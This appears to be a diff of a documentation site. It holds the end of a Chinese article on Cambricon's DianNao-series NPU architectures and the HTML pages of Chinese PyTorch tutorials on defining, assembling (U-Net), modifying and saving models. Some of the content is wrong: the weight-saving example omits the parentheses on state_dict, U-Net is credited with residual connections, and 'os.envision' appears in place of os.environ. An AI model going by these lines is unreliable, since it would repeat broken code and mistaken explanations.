从技术角度看,深度学习实际上是一类多层大规模人工神经网络。它模仿生物神经网络而构建,由若干人工神经元结点互联而成。神经元之间通过突触两两连接,突触记录了神经元间联系的权值强弱。由于深度学习的基本操作是神经元和突触的处理,神经网络中存储和处理是一体化的,都是通过突触权重来体现,而冯·诺伊曼结构中,存储和处理是分离的,分别由存储器和运算器来实现,二者之间存在巨大的差异。当用现有的基于冯·诺伊曼结构的经典计算机(如X86处理器和英伟达GPU)运行神经网络应用时,就不可避免地受到存储和处理分离式结构的制约,因而影响效率。因此,专门针对人工智能的专业芯片NPU更有研发的必要和需求。

+

在NPU的设计上,中国走在了世界前列。下面我们将以寒武纪的DianNao系列架构为例,来简要介绍NPU。

+

DianNao​

+

+

上图:DianNao: a small-footprint high-throughput accelerator for ubiquitous machine-learning,figure 9

+

基于神经网络的人工智能算法,是模拟人类大脑内部神经元的结构。上图中的neuron代表的就是单个神经元,synapse代表神经元的突触。这个模型的工作模式,就要结合高中生物课的知识了。

+

一个神经元,有许多突触,给别的神经元传递信息。同样,这个神经元,也会接收来自许多其他神经元的信息。这个神经元所有接受到的信息累加,会有一个强烈程度,在生物上是以化学成分的形式存在,当这些信息达到一定的强烈程度,就会使整个神经元处于兴奋状态(激活),否则就是不兴奋(不激活)。如果兴奋了,就给其他神经元传递信息,如果不兴奋,就不传递。这就是单独一个神经元的工作模式。那么有成千上万个这样的神经元组合起来,就是一个神经网络模型。

+

那么DianNao是如何模拟神经元进行工作的呢,我们可以看看它的内部结构图:

+

+

上图:DianNao: a small-footprint high-throughput accelerator for ubiquitous machine-learning,figure 11

+

如图所示,上图中浅蓝色的部分就是用硬件逻辑模拟的神经网络架构,称为NFU(Neural Functional Units)。它可以被细分为三个部分,即途中的NFU-1,NFU-2,和NFU-3。

+

NFU-1是乘法单元,它采用16bit定点数乘法器,1位符号位,5位整数位,10位小数位。该部分总计有256个乘法器。这些乘法器的计算是同时的,也就是说,在一个周期内可以执行256次乘法。

+

NFU-2是加法树,总计16个,每一个加法树都是8-4-2-1这样的组成结构,即就是每一个加法树中都有15个加法器。

+

NFU-3是非线性激活函数,该部分由分段线性近似实现非线性函数,根据前面两个单元计算得到的刺激量,从而判断是否需要激活操作。

+

当需要实现向量相乘和卷积运算时,使用NFU-1完成对应位置元素相乘,NFU-2完成相乘结果相加,最后由NFU-3完成激活函数映射。完成池化运算时,使用NFU-2完成多个元素取最大值或取平均值运算。由此分析,尽管该运算模块非常简单,也覆盖了神经网络所需要的大部分运算。

+

DaDianNao​

+

作为DianNao的多核升级版本,DaDianNao的运算单元NFU与DianNao基本相同,最大的区别是为了完成训练任务多加了几条数据通路,且配置更加灵活。NFU的尺寸为16x16,即16个输出神经元,每个输出神经元有16个输入(输入端需要一次提供256个数据)。同时,NFU可以可选的跳过一些步骤以达到灵活可配置的功能。DaDianNao的NFU结构如下所示:

+

+

上图:DaDianNao: A Machine-Learning Supercomputer,figure 6

+

ShiDianNao​

+

ShiDianNao是机器视觉专用加速器,集成了视频处理的部分,它也是DianNao系列中唯一一个考虑运算单元级数据重用的加速器,也是唯一使用二维运算阵列的加速器,其加速器的运算阵列结构如下所示:

+

+

上图:ShiDianNao: Shifting vision processing closer to the sensor,figure 5

+

ShiDianNao的运算阵列为2D格点结构,对于每一个运算单元(节点)而言,运算所使用的参数统一来源于Kernel,而参与运算的数据则可能来自于:数据缓存NBin,下方的节点,右侧的节点。

+

下图为每个运算单元的结构:

+

+

上图:ShiDianNao: Shifting vision processing closer to the sensor,figure 6

+

该计算节点的功能包括转发数据和进行计算:

+

转发数据:每个数据可来源于右侧节点,下方节点和NBin,根据控制信号选择其中一个存储到输入寄存器中,且根据控制信号可选的将其存储到FIFO-H和FIFO-V中。同时根据控制信号选择FIFO-H和FIFO-V中的信号从FIFO output端口输出

+

进行计算:根据控制信号进行计算,包括相加,累加,乘加和比较等,并将结果存储到输出寄存器中,并根据控制信号选择寄存器或计算结果输出到PE output端口。

+

对于计算功能,根据上文的结构图,可以发现,PE支持的运算有:kernel和输入数据相乘并与输出寄存器数据相加(乘加),输入数据与输出寄存器数据取最大或最小(应用于池化),kernel与输入数据相加(向量加法),输入数据与输出寄存器数据相加(累加)等。

+

PuDianNao​

+

作为DianNao系列的收山之作,PuDianNao的运算单元是电脑系列中唯一一个异构的,除了有MLU(机器学习单元)外,还有一个ALU用于处理通用运算和MLU无法处理的运算,其运算单元(上)和MLU(下)结构如下图所示:

+

+

上图:PuDianNao: A Polyvalent Machine Learning Accelerator,figure 11&12

+

该MLU共分为6层:

+

计数层/比较层:这一层的处理为两个数按位与或比较大小,结果将被累加,这一层可以单独输出且可以被bypass

+

加法层:这一层为两个输入对应相加,这一层可以单独输出且可以被bypass

+

乘法层:这一层为两个输入或上一层(加法层)结果对应位置相乘,可以单独输出

+

加法树层:将乘法层的结果累加

+

累加层:将上一层(加法树层)的结果累加,可以单独输出

+

特殊处理层:由一个分段线性逼近实现的非线性函数和k排序器(输出上一层输出中最小的输出)组成

+

该运算单元是DianNao系列中功能最多的单元,配置非常灵活。例如实现向量相乘(对应位置相乘后累加)时,弃用计数层,加法层,将数据从乘法层,加法树层和累加层流过即可实现。

+

PuDianNao支持7种机器学习算法:神经网络,线性模型,支持向量机,决策树,朴素贝叶斯,K临近和K类聚,所需要支持的运算较多,因此PuDianNao的运算分析主要集中在存储方面,其运算核心的设计中说明PuDianNao支持的运算主要有:向量点乘,距离计算,计数,排序和非线性函数。其他未覆盖的计算使用ALU实现。

+

参考资料:​

+

In-datacenter performance analysis of a tensor processing unit

+

Neural Network Processor

+

DianNao: a small-footprint high-throughput accelerator for ubiquitous machine-learning

+

DaDianNao: A Machine-Learning Supercomputer

+

ShiDianNao: Shifting vision processing closer to the sensor

+

PuDianNao: A Polyvalent Machine Learning Accelerator

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第二章/index.html b/docs/个人知识库/AI/PyTorch/第二章/index.html new file mode 100644 index 0000000..e9c056d --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第二章/index.html @@ -0,0 +1,46 @@ + + + + + +第二章 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第五章/5.1 PyTorch模型定义的方式/index.html b/docs/个人知识库/AI/PyTorch/第五章/5.1 PyTorch模型定义的方式/index.html new file mode 100644 index 0000000..b0c3e59 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第五章/5.1 PyTorch模型定义的方式/index.html @@ -0,0 +1,94 @@ + + + + + +5.1 PyTorch模型定义的方式.md | wjlin0 + + + + + + + +

5.1 PyTorch模型定义的方式.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:18
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

5.1 PyTorch模型定义的方式

+

模型在深度学习中扮演着重要的角色,好的模型极大地促进了深度学习的发展进步,比如CNN的提出解决了图像、视频处理中的诸多问题,RNN/LSTM模型解决了序列数据处理的问题,GNN在图模型上发挥着重要的作用。当我们在向他人介绍一项深度学习工作的时候,对方可能首先要问的就是使用了哪些模型。因此,在PyTorch进阶操作的第一部分中,我们首先来学习PyTorch模型相关的内容。

+

在第一部分课程的第三章中,我们已经学习了模型中的“层“是如何定义的,以及基础的模型是如何构建的。这里我们来更为系统地学习PyTorch中模型定义的方式,本节的学习将为后续灵活构建自己的模型打下坚实的基础。

+

经过本节的学习,你将收获*:

+
    +
  • 熟悉PyTorch中模型定义的三种方式
  • +
  • 读懂GitHub上千奇百怪的写法
  • +
  • 自己根据需要灵活选取模型定义方式
  • +
+

5.1.1 必要的知识回顾​

+
    +
  • Module 类是 torch.nn 模块里提供的一个模型构造类 (nn.Module),是所有神经⽹网络模块的基类,我们可以继承它来定义我们想要的模型;
  • +
  • PyTorch模型定义应包括两个主要部分:各个部分的初始化(__init__);数据流向定义(forward)
  • +
+

基于nn.Module,我们可以通过Sequential,ModuleList和ModuleDict三种方式定义PyTorch模型。

+

下面我们就来逐个探索这三种模型定义方式。

+

5.1.2 Sequential​

+

对应模块为nn.Sequential()。

+

当模型的前向计算为简单串联各个层的计算时, Sequential 类可以通过更加简单的方式定义模型。它可以接收一个子模块的有序字典(OrderedDict) 或者一系列子模块作为参数来逐一添加 Module 的实例,⽽模型的前向计算就是将这些实例按添加的顺序逐⼀计算。我们结合Sequential和定义方式加以理解:

+
from collections import OrderedDict
class MySequential(nn.Module):
def __init__(self, *args):
super(MySequential, self).__init__()
if len(args) == 1 and isinstance(args[0], OrderedDict): # 如果传入的是一个OrderedDict
for key, module in args[0].items():
self.add_module(key, module)
# add_module方法会将module添加进self._modules(一个OrderedDict)
else: # 传入的是一些Module
for idx, module in enumerate(args):
self.add_module(str(idx), module)
def forward(self, input):
# self._modules返回一个 OrderedDict,保证会按照成员添加时的顺序遍历成
for module in self._modules.values():
input = module(input)
return input
+

下面来看下如何使用Sequential来定义模型。只需要将模型的层按序排列起来即可,根据层名的不同,排列的时候有两种方式:

+
    +
  • 直接排列
  • +
+
import torch.nn as nn
net = nn.Sequential(
nn.Linear(784, 256),
nn.ReLU(),
nn.Linear(256, 10),
)
print(net)
+
Sequential(
(0): Linear(in_features=784, out_features=256, bias=True)
(1): ReLU()
(2): Linear(in_features=256, out_features=10, bias=True)
)
+
    +
  • 使用OrderedDict:
  • +
+
import collections
import torch.nn as nn
net2 = nn.Sequential(collections.OrderedDict([
('fc1', nn.Linear(784, 256)),
('relu1', nn.ReLU()),
('fc2', nn.Linear(256, 10))
]))
print(net2)
+
Sequential(
(fc1): Linear(in_features=784, out_features=256, bias=True)
(relu1): ReLU()
(fc2): Linear(in_features=256, out_features=10, bias=True)
)
+

可以看到,使用Sequential定义模型的好处在于简单、易读,同时使用Sequential定义的模型不需要再写forward,因为顺序已经定义好了。但使用Sequential也会使得模型定义丧失灵活性,比如需要在模型中间加入一个外部输入时就不适合用Sequential的方式实现。使用时需根据实际需求加以选择。

+

5.1.3 ModuleList​

+

对应模块为nn.ModuleList()。

+

ModuleList 接收一个子模块(或层,需属于nn.Module类)的列表作为输入,然后也可以类似List那样进行append和extend操作。同时,子模块或层的权重也会自动添加到网络中来。

+
net = nn.ModuleList([nn.Linear(784, 256), nn.ReLU()])
net.append(nn.Linear(256, 10)) # # 类似List的append操作
print(net[-1]) # 类似List的索引访问
print(net)
+
Linear(in_features=256, out_features=10, bias=True)
ModuleList(
(0): Linear(in_features=784, out_features=256, bias=True)
(1): ReLU()
(2): Linear(in_features=256, out_features=10, bias=True)
)
+

要特别注意的是,nn.ModuleList 并没有定义一个网络,它只是将不同的模块储存在一起。ModuleList中元素的先后顺序并不代表其在网络中的真实位置顺序,需要经过forward函数指定各个层的先后顺序后才算完成了模型的定义。具体实现时用for循环即可完成:

+
class model(nn.Module):
def __init__(self, ...):
super().__init__()
self.modulelist = ...
...

def forward(self, x):
for layer in self.modulelist:
x = layer(x)
return x
+

5.1.4 ModuleDict​

+

对应模块为nn.ModuleDict()。

+

ModuleDict和ModuleList的作用类似,只是ModuleDict能够更方便地为神经网络的层添加名称。

+
net = nn.ModuleDict({
'linear': nn.Linear(784, 256),
'act': nn.ReLU(),
})
net['output'] = nn.Linear(256, 10) # 添加
print(net['linear']) # 访问
print(net.output)
print(net)
+
Linear(in_features=784, out_features=256, bias=True)
Linear(in_features=256, out_features=10, bias=True)
ModuleDict(
(act): ReLU()
(linear): Linear(in_features=784, out_features=256, bias=True)
(output): Linear(in_features=256, out_features=10, bias=True)
)
+

5.1.5 三种方法的比较与适用场景​

+

Sequential适用于快速验证结果,因为已经明确了要用哪些层,直接写一下就好了,不需要同时写__init__和forward;

+

ModuleList和ModuleDict在某个完全相同的层需要重复出现多次时,非常方便实现,可以”一行顶多行“;

+

当我们需要之前层的信息的时候,比如 ResNets 中的残差计算,当前层的结果需要和之前层中的结果进行融合,一般使用 ModuleList/ModuleDict 比较方便。

+

本节参考​

+

【1】https://zhuanlan.zhihu.com/p/64990232

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第五章/5.2 利用模型块快速搭建复杂网络/index.html b/docs/个人知识库/AI/PyTorch/第五章/5.2 利用模型块快速搭建复杂网络/index.html new file mode 100644 index 0000000..3140b52 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第五章/5.2 利用模型块快速搭建复杂网络/index.html @@ -0,0 +1,90 @@ + + + + + +5.2 利用模型块快速搭建复杂网络.md | wjlin0 + + + + + + + +

5.2 利用模型块快速搭建复杂网络.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:18
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

5.2 利用模型块快速搭建复杂网络

+

上一节中我们介绍了怎样定义PyTorch的模型,其中给出的示例都是用torch.nn中的层来完成的。这种定义方式易于理解,在实际场景下不一定利于使用。当模型的深度非常大时候,使用Sequential定义模型结构需要向其中添加几百行代码,使用起来不甚方便。

+

对于大部分模型结构(比如ResNet、DenseNet等),我们仔细观察就会发现,虽然模型有很多层, 但是其中有很多重复出现的结构。考虑到每一层有其输入和输出,若干层串联成的”模块“也有其输入和输出,如果我们能将这些重复出现的层定义为一个”模块“,每次只需要向网络中添加对应的模块来构建模型,这样将会极大便利模型构建的过程。

+

本节我们将以U-Net为例,介绍如何构建模型块,以及如何利用模型块快速搭建复杂模型。

+

经过本节的学习,你将收获:

+
    +
  • 利用上一节学到的知识,将简单层构建成具有特定功能的模型块
  • +
  • 利用模型块构建复杂网络
  • +
+

5.2.1 U-Net简介​

+

U-Net是分割 (Segmentation) 模型的杰作,在以医学影像为代表的诸多领域有着广泛的应用。U-Net模型结构如下图所示,通过残差连接结构解决了模型学习中的退化问题,使得神经网络的深度能够不断扩展。

+

unet

+

5.2.2 U-Net模型块分析​

+

结合上图,不难发现U-Net模型具有非常好的对称性。模型从上到下分为若干层,每层由左侧和右侧两个模型块组成,每侧的模型块与其上下模型块之间有连接;同时位于同一层左右两侧的模型块之间也有连接,称为“Skip-connection”。此外还有输入和输出处理等其他组成部分。由于模型的形状非常像英文字母的“U”,因此被命名为“U-Net”。

+

组成U-Net的模型块主要有如下几个部分:

+
    +
  • +

    每个子块内部的两次卷积(Double Convolution)

    +
  • +
  • +

    左侧模型块之间的下采样连接,即最大池化(Max pooling)

    +
  • +
  • +

    右侧模型块之间的上采样连接(Up sampling)

    +
  • +
  • +

    输出层的处理

    +
  • +
+

除模型块外,还有模型块之间的横向连接,输入和U-Net底部的连接等计算,这些单独的操作可以通过forward函数来实现。

+

下面我们用PyTorch先实现上述的模型块,然后再利用定义好的模型块构建U-Net模型。

+

5.2.3 U-Net模型块实现​

+

在使用PyTorch实现U-Net模型时,我们不必把每一层按序排列显式写出,这样太麻烦且不宜读,一种比较好的方法是先定义好模型块,再定义模型块之间的连接顺序和计算方式。就好比装配零件一样,我们先装配好一些基础的部件,之后再用这些可以复用的部件得到整个装配体。

+

这里的基础部件对应上一节分析的四个模型块,根据功能我们将其命名为:DoubleConv, Down, Up, OutConv。下面给出U-Net中模型块的PyTorch 实现:

+
import torch
import torch.nn as nn
import torch.nn.functional as F
+
class DoubleConv(nn.Module):
"""(convolution => [BN] => ReLU) * 2"""

def __init__(self, in_channels, out_channels, mid_channels=None):
super().__init__()
if not mid_channels:
mid_channels = out_channels
self.double_conv = nn.Sequential(
nn.Conv2d(in_channels, mid_channels, kernel_size=3, padding=1, bias=False),
nn.BatchNorm2d(mid_channels),
nn.ReLU(inplace=True),
nn.Conv2d(mid_channels, out_channels, kernel_size=3, padding=1, bias=False),
nn.BatchNorm2d(out_channels),
nn.ReLU(inplace=True)
)

def forward(self, x):
return self.double_conv(x)

+
class Down(nn.Module):
"""Downscaling with maxpool then double conv"""

def __init__(self, in_channels, out_channels):
super().__init__()
self.maxpool_conv = nn.Sequential(
nn.MaxPool2d(2),
DoubleConv(in_channels, out_channels)
)

def forward(self, x):
return self.maxpool_conv(x)

+
class Up(nn.Module):
"""Upscaling then double conv"""

def __init__(self, in_channels, out_channels, bilinear=False):
super().__init__()

# if bilinear, use the normal convolutions to reduce the number of channels
if bilinear:
self.up = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)
self.conv = DoubleConv(in_channels, out_channels, in_channels // 2)
else:
self.up = nn.ConvTranspose2d(in_channels, in_channels // 2, kernel_size=2, stride=2)
self.conv = DoubleConv(in_channels, out_channels)

def forward(self, x1, x2):
x1 = self.up(x1)
# input is CHW
diffY = x2.size()[2] - x1.size()[2]
diffX = x2.size()[3] - x1.size()[3]

x1 = F.pad(x1, [diffX // 2, diffX - diffX // 2,
diffY // 2, diffY - diffY // 2])
# if you have padding issues, see
# https://github.com/HaiyongJiang/U-Net-Pytorch-Unstructured-Buggy/commit/0e854509c2cea854e247a9c615f175f76fbb2e3a
# https://github.com/xiaopeng-liao/Pytorch-UNet/commit/8ebac70e633bac59fc22bb5195e513d5832fb3bd
x = torch.cat([x2, x1], dim=1)
return self.conv(x)

+
class OutConv(nn.Module):
def __init__(self, in_channels, out_channels):
super(OutConv, self).__init__()
self.conv = nn.Conv2d(in_channels, out_channels, kernel_size=1)

def forward(self, x):
return self.conv(x)
+

5.2.4 利用模型块组装U-Net​

+

使用上面我们定义好的模型块,我们就可以非常方便地组装U-Net模型。可以看到,通过模型块的方式实现了代码复用,整个模型结构定义所需的代码总行数明显减少,代码可读性也得到了提升。

+
class UNet(nn.Module):
def __init__(self, n_channels, n_classes, bilinear=False):
super(UNet, self).__init__()
self.n_channels = n_channels
self.n_classes = n_classes
self.bilinear = bilinear

self.inc = DoubleConv(n_channels, 64)
self.down1 = Down(64, 128)
self.down2 = Down(128, 256)
self.down3 = Down(256, 512)
factor = 2 if bilinear else 1
self.down4 = Down(512, 1024 // factor)
self.up1 = Up(1024, 512 // factor, bilinear)
self.up2 = Up(512, 256 // factor, bilinear)
self.up3 = Up(256, 128 // factor, bilinear)
self.up4 = Up(128, 64, bilinear)
self.outc = OutConv(64, n_classes)

def forward(self, x):
x1 = self.inc(x)
x2 = self.down1(x1)
x3 = self.down2(x2)
x4 = self.down3(x3)
x5 = self.down4(x4)
x = self.up1(x5, x4)
x = self.up2(x, x3)
x = self.up3(x, x2)
x = self.up4(x, x1)
logits = self.outc(x)
return logits
+

参考资料​

+
    +
  1. https://github.com/milesial/Pytorch-UNet
  2. +
+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第五章/5.3 PyTorch修改模型/index.html b/docs/个人知识库/AI/PyTorch/第五章/5.3 PyTorch修改模型/index.html new file mode 100644 index 0000000..a865a78 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第五章/5.3 PyTorch修改模型/index.html @@ -0,0 +1,82 @@ + + + + + +5.3 PyTorch修改模型.md | wjlin0 + + + + + + + +

5.3 PyTorch修改模型.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:18
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

5.3 PyTorch修改模型

+

除了自己构建PyTorch模型外,还有另一种应用场景:我们已经有一个现成的模型,但该模型中的部分结构不符合我们的要求,为了使用模型,我们需要对模型结构进行必要的修改。随着深度学习的发展和PyTorch越来越广泛的使用,有越来越多的开源模型可以供我们使用,很多时候我们也不必从头开始构建模型。因此,掌握如何修改PyTorch模型就显得尤为重要。

+

本节我们就来探索这一问题。经过本节的学习,你将收获:

+
    +
  • 如何在已有模型的基础上: +
      +
    • 修改模型若干层
    • +
    • 添加额外输入
    • +
    • 添加额外输出
    • +
    +
  • +
+

5.3.1 修改模型层​

+

我们这里以PyTorch官方视觉库torchvision预定义好的模型ResNet50为例,探索如何修改模型的某一层或者某几层。我们先看看模型的定义是怎样的:

+
# 导入必要的package
import torch
import torch.nn as nn
from collections import OrderedDict
import torchvision.models as models
net = models.resnet50()
print(net)
+
ResNet(
(conv1): Conv2d(3, 64, kernel_size=(7, 7), stride=(2, 2), padding=(3, 3), bias=False)
(bn1): BatchNorm2d(64, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)
(relu): ReLU(inplace=True)
(maxpool): MaxPool2d(kernel_size=3, stride=2, padding=1, dilation=1, ceil_mode=False)
(layer1): Sequential(
(0): Bottleneck(
(conv1): Conv2d(64, 64, kernel_size=(1, 1), stride=(1, 1), bias=False)
(bn1): BatchNorm2d(64, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)
(conv2): Conv2d(64, 64, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1), bias=False)
(bn2): BatchNorm2d(64, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)
(conv3): Conv2d(64, 256, kernel_size=(1, 1), stride=(1, 1), bias=False)
(bn3): BatchNorm2d(256, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)
(relu): ReLU(inplace=True)
(downsample): Sequential(
(0): Conv2d(64, 256, kernel_size=(1, 1), stride=(1, 1), bias=False)
(1): BatchNorm2d(256, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)
)
)
..............
(avgpool): AdaptiveAvgPool2d(output_size=(1, 1))
(fc): Linear(in_features=2048, out_features=1000, bias=True)
)

+

这里模型结构是为了适配ImageNet预训练的权重,因此最后全连接层(fc)的输出节点数是1000。

+

假设我们要用这个resnet模型去做一个10分类的问题,就应该修改模型的fc层,将其输出节点数替换为10。另外,我们觉得一层全连接层可能太少了,想再加一层。可以做如下修改:

+
classifier = nn.Sequential(OrderedDict([('fc1', nn.Linear(2048, 128)),
('relu1', nn.ReLU()),
('dropout1',nn.Dropout(0.5)),
('fc2', nn.Linear(128, 10)),
('output', nn.Softmax(dim=1))
]))

net.fc = classifier
+

这里的操作相当于将模型(net)最后名称为“fc”的层替换成了名称为“classifier”的结构,该结构是我们自己定义的。这里使用了第一节介绍的Sequential+OrderedDict的模型定义方式。至此,我们就完成了模型的修改,现在的模型就可以去做10分类任务了。

+

5.3.2 添加外部输入​

+

有时候在模型训练中,除了已有模型的输入之外,还需要输入额外的信息。比如在CNN网络中,我们除了输入图像,还需要同时输入图像对应的其他信息,这时候就需要在已有的CNN网络中添加额外的输入变量。基本思路是:将原模型添加输入位置前的部分作为一个整体,同时在forward中定义好原模型不变的部分、添加的输入和后续层之间的连接关系,从而完成模型的修改。

+

我们以torchvision的resnet50模型为基础,任务还是10分类任务。不同点在于,我们希望利用已有的模型结构,在倒数第二层增加一个额外的输入变量add_variable来辅助预测。具体实现如下:

+
class Model(nn.Module):
def __init__(self, net):
super(Model, self).__init__()
self.net = net
self.relu = nn.ReLU()
self.dropout = nn.Dropout(0.5)
self.fc_add = nn.Linear(1001, 10, bias=True)
self.output = nn.Softmax(dim=1)

def forward(self, x, add_variable):
x = self.net(x)
x = torch.cat((self.dropout(self.relu(x)), add_variable.unsqueeze(1)),1)
x = self.fc_add(x)
x = self.output(x)
return x
+

这里的实现要点是通过torch.cat实现了tensor的拼接。torchvision中的resnet50输出是一个1000维的tensor,我们通过修改forward函数(配套定义一些层),先将1000维的tensor通过激活函数层和dropout层,再和外部输入变量"add_variable"拼接,最后通过全连接层映射到指定的输出维度10。

+

另外这里对外部输入变量"add_variable"进行unsqueeze操作是为了和net输出的tensor保持维度一致,常用于add_variable是单一数值 (scalar) 的情况,此时add_variable的维度是 (batch_size, ),需要在第二维补充维数1,从而可以和tensor进行torch.cat操作。对于unsqueeze操作可以复习下2.1节的内容和配套代码。

+

之后对我们修改好的模型结构进行实例化,就可以使用了:

+
net = models.resnet50()
model = Model(net).cuda()
+

另外别忘了,训练中在输入数据的时候要给两个inputs:

+
outputs = model(inputs, add_var)
+

5.3.3 添加额外输出​

+

有时候在模型训练中,除了模型最后的输出外,我们需要输出模型某一中间层的结果,以施加额外的监督,获得更好的中间层结果。基本的思路是修改模型定义中forward函数的return变量。

+

我们依然以resnet50做10分类任务为例,在已经定义好的模型结构上,同时输出1000维的倒数第二层和10维的最后一层结果。具体实现如下:

+
class Model(nn.Module):
def __init__(self, net):
super(Model, self).__init__()
self.net = net
self.relu = nn.ReLU()
self.dropout = nn.Dropout(0.5)
self.fc1 = nn.Linear(1000, 10, bias=True)
self.output = nn.Softmax(dim=1)

def forward(self, x, add_variable):
x1000 = self.net(x)
x10 = self.dropout(self.relu(x1000))
x10 = self.fc1(x10)
x10 = self.output(x10)
return x10, x1000
+

之后对我们修改好的模型结构进行实例化,就可以使用了:

+
import torchvision.models as models
net = models.resnet50()
model = Model(net).cuda()
+

另外别忘了,训练中在输入数据后会有两个outputs:

+
out10, out1000 = model(inputs, add_var)
+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第五章/5.4 PyTorh模型保存与读取/index.html b/docs/个人知识库/AI/PyTorch/第五章/5.4 PyTorh模型保存与读取/index.html new file mode 100644 index 0000000..ad8b68a --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第五章/5.4 PyTorh模型保存与读取/index.html @@ -0,0 +1,129 @@ + + + + + +5.4 PyTorh模型保存与读取.md | wjlin0 + + + + + + + +

5.4 PyTorh模型保存与读取.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:18
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

5.4 PyTorch模型保存与读取

+

在前面几节的内容中,我们介绍了如何构建和修改PyTorch模型。本节我们来讨论PyTorch如何保存和读取训练好的模型和参数。

+

另外,在很多场景下我们都会使用多GPU训练。这种情况下,模型会分布于各个GPU上(参加2.3节分布数据式训练,这里暂不考虑分布模型式训练),模型的保存和读取与单GPU训练情景下是否有所不同?

+

经过本节的学习,你将收获:

+
    +
  • PyTorch的模型的存储格式
  • +
  • PyTorch如何存储模型
  • +
  • 单卡与多卡训练下模型的保存与加载方法
  • +
  • 优化器模型参数的保存
  • +
+

5.4.1 模型存储格式​

+

PyTorch存储模型主要采用pkl,pt,pth三种格式。就使用层面来说没有区别,这里不做具体的讨论。本节最后的参考内容中列出了查阅到的一些资料,感兴趣的读者可以进一步研究,欢迎留言讨论。

+

5.4.2 模型存储内容​

+

一个PyTorch模型主要包含两个部分:模型结构和权重。其中模型是继承nn.Module的类,权重的数据结构是一个字典(key是层名,value是权重向量)。存储也由此分为两种形式:存储整个模型(包括结构和权重),和只存储模型权重。

+
from torchvision import models
model = models.resnet152(pretrained=True)
save_dir = './resnet152.pth'

# 保存整个模型
torch.save(model, save_dir)
# 保存模型权重
torch.save(model.state_dict, save_dir)
+

对于PyTorch而言,pt, pth和pkl三种数据格式均支持模型权重和整个模型的存储,因此使用上没有差别。

+

5.4.3 单卡和多卡模型存储的区别​

+

PyTorch中将模型和数据放到GPU上有两种方式——.cuda()和.to(device),本节后续内容针对前一种方式进行讨论。如果要使用多卡训练的话,需要对模型使用torch.nn.DataParallel。示例如下:

+
import os
os.environ['CUDA_VISIBLE_DEVICES'] = '0' # 如果是多卡改成类似0,1,2
model = model.cuda() # 单卡
model = torch.nn.DataParallel(model).cuda() # 多卡
+

之后我们把model对应的layer名称打印出来看一下,可以观察到差别在于多卡并行的模型每层的名称前多了一个“module”。

+
    +
  • 单卡模型的层名:
  • +
+

img

+
    +
  • 多卡模型的层名:
  • +
+

img

+

这种模型表示的不同可能会导致模型保存和加载过程中需要处理一些矛盾点,下面对各种可能的情况做分类讨论。

+

5.4.4 单卡/多卡情况分类讨论​

+

由于训练和测试所使用的硬件条件不同,在模型的保存和加载过程中可能因为单GPU和多GPU环境的不同带来模型不匹配等问题。这里对PyTorch框架下单卡/多卡下模型的保存和加载问题进行排列组合(=4),样例模型是torchvision中预训练模型resnet152,不尽之处欢迎大家补充。

+
    +
  • 单卡保存+单卡加载
  • +
+

在使用os.envision命令指定使用的GPU后,即可进行模型保存和读取操作。注意这里即便保存和读取时使用的GPU不同也无妨。

+
import os
import torch
from torchvision import models

os.environ['CUDA_VISIBLE_DEVICES'] = '0' #这里替换成希望使用的GPU编号
model = models.resnet152(pretrained=True)
model.cuda()

save_dir = 'resnet152.pt' #保存路径

# 保存+读取整个模型
torch.save(model, save_dir)
loaded_model = torch.load(save_dir)
loaded_model.cuda()

# 保存+读取模型权重
torch.save(model.state_dict(), save_dir)
loaded_model = models.resnet152() #注意这里需要对模型结构有定义
loaded_model.load_state_dict(torch.load(save_dir))
loaded_model.cuda()
+
    +
  • 单卡保存+多卡加载
  • +
+

这种情况的处理比较简单,读取单卡保存的模型后,使用nn.DataParallel函数进行分布式训练设置即可(相当于3.1代码中.cuda()替换一下):

+
import os
import torch
from torchvision import models

os.environ['CUDA_VISIBLE_DEVICES'] = '0' #这里替换成希望使用的GPU编号
model = models.resnet152(pretrained=True)
model.cuda()

# 保存+读取整个模型
torch.save(model, save_dir)

os.environ['CUDA_VISIBLE_DEVICES'] = '1,2' #这里替换成希望使用的GPU编号
loaded_model = torch.load(save_dir)
loaded_model = nn.DataParallel(loaded_model).cuda()

# 保存+读取模型权重
torch.save(model.state_dict(), save_dir)

os.environ['CUDA_VISIBLE_DEVICES'] = '1,2' #这里替换成希望使用的GPU编号
loaded_model = models.resnet152() #注意这里需要对模型结构有定义
loaded_model.load_state_dict(torch.load(save_dir))
loaded_model = nn.DataParallel(loaded_model).cuda()
+
    +
  • 多卡保存+单卡加载
  • +
+

这种情况下的核心问题是:如何去掉权重字典键名中的"module",以保证模型的统一性。

+

对于加载整个模型,直接提取模型的module属性即可:

+
import os
import torch
from torchvision import models

os.environ['CUDA_VISIBLE_DEVICES'] = '1,2' #这里替换成希望使用的GPU编号

model = models.resnet152(pretrained=True)
model = nn.DataParallel(model).cuda()

# 保存+读取整个模型
torch.save(model, save_dir)

os.environ['CUDA_VISIBLE_DEVICES'] = '0' #这里替换成希望使用的GPU编号
loaded_model = torch.load(save_dir).module
+

